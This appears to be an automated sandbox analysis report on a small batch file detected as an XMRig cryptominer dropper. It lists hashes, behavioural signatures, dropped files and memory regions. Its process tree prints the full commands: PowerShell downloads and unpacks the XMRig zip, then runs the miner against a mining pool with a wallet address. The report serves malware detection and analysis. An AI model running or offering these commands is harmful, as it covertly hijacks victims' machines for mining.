Analysis

  • max time kernel
    1792s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 00:49

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5044
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1360

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    22037530157ae98ac742e6a33cc8ae5a

    SHA1

    91fdc1c2a2ef49929896fe79acde1a55d8f10b47

    SHA256

    823683908e2b333e9e4e033abdf3ee9de5cfbc5f5cf384eba4c5bbe67c1b0e3a

    SHA512

    7d2c603ec77171ef3655e80f7f821fbd537220a90c25fa9c4f49d6b4a22b99bc5e3f8907c0c087d35f21964b9d31f82b0bfe13cd0a0125a75753f3f7c52df45e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rblsvvp.2l0.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    92KB

    MD5

    bf81885c3e45ed8362740683d8f66042

    SHA1

    4990c4894c2fd9a7dc309afbd75488ff1339f08b

    SHA256

    c325c6366cc49c29a245ccc0bb034dc027ae507d1a9bc8acc42cf933f7c45b8d

    SHA512

    9aa1245a2d56179d47d4ee1f583012faa9ef012bfddb7d264a80dc8c2ea95e7a5db20d2fe12bf417151eeb918392ab859e78080e452e5dc4e4b2a672e2aceaa1

  • memory/1360-142-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-166-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-188-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-187-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-186-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-185-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-184-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-183-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-182-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-181-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-180-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-179-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-178-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-177-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-176-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-175-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-174-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-146-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-173-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-121-0x000001F9E98A0000-0x000001F9E98C0000-memory.dmp

    Filesize

    128KB

  • memory/1360-122-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-123-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-125-0x000001F9E9F10000-0x000001F9E9F30000-memory.dmp

    Filesize

    128KB

  • memory/1360-124-0x000001F9E9CE0000-0x000001F9E9D00000-memory.dmp

    Filesize

    128KB

  • memory/1360-126-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-127-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-128-0x000001F9E9CE0000-0x000001F9E9D00000-memory.dmp

    Filesize

    128KB

  • memory/1360-129-0x000001F9E9F10000-0x000001F9E9F30000-memory.dmp

    Filesize

    128KB

  • memory/1360-130-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-131-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-132-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-133-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-134-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-135-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-136-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-137-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-138-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-139-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-140-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-141-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-145-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-143-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-172-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-171-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-120-0x000001F955A60000-0x000001F955A80000-memory.dmp

    Filesize

    128KB

  • memory/1360-147-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-148-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-149-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-150-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-151-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-152-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-153-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-154-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-155-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-156-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-157-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-158-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-159-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-160-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-161-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-162-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-163-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-164-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-165-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-144-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-167-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-168-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-169-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/1360-170-0x00007FF757720000-0x00007FF758223000-memory.dmp

    Filesize

    11.0MB

  • memory/4356-34-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-10-0x000001C134860000-0x000001C1348D6000-memory.dmp

    Filesize

    472KB

  • memory/4356-25-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-26-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-27-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-28-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-29-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-6-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-8-0x000001C1346D0000-0x000001C1346E0000-memory.dmp

    Filesize

    64KB

  • memory/4356-5-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-4-0x000001C134670000-0x000001C134692000-memory.dmp

    Filesize

    136KB

  • memory/5044-80-0x00000143CDC70000-0x00000143CDC82000-memory.dmp

    Filesize

    72KB

  • memory/5044-42-0x00000143CD9D0000-0x00000143CD9E0000-memory.dmp

    Filesize

    64KB

  • memory/5044-67-0x00000143CD9D0000-0x00000143CD9E0000-memory.dmp

    Filesize

    64KB

  • memory/5044-93-0x00000143CDC60000-0x00000143CDC6A000-memory.dmp

    Filesize

    40KB

  • memory/5044-40-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-117-0x00007FF8C3930000-0x00007FF8C431C000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-41-0x00000143CD9D0000-0x00000143CD9E0000-memory.dmp

    Filesize

    64KB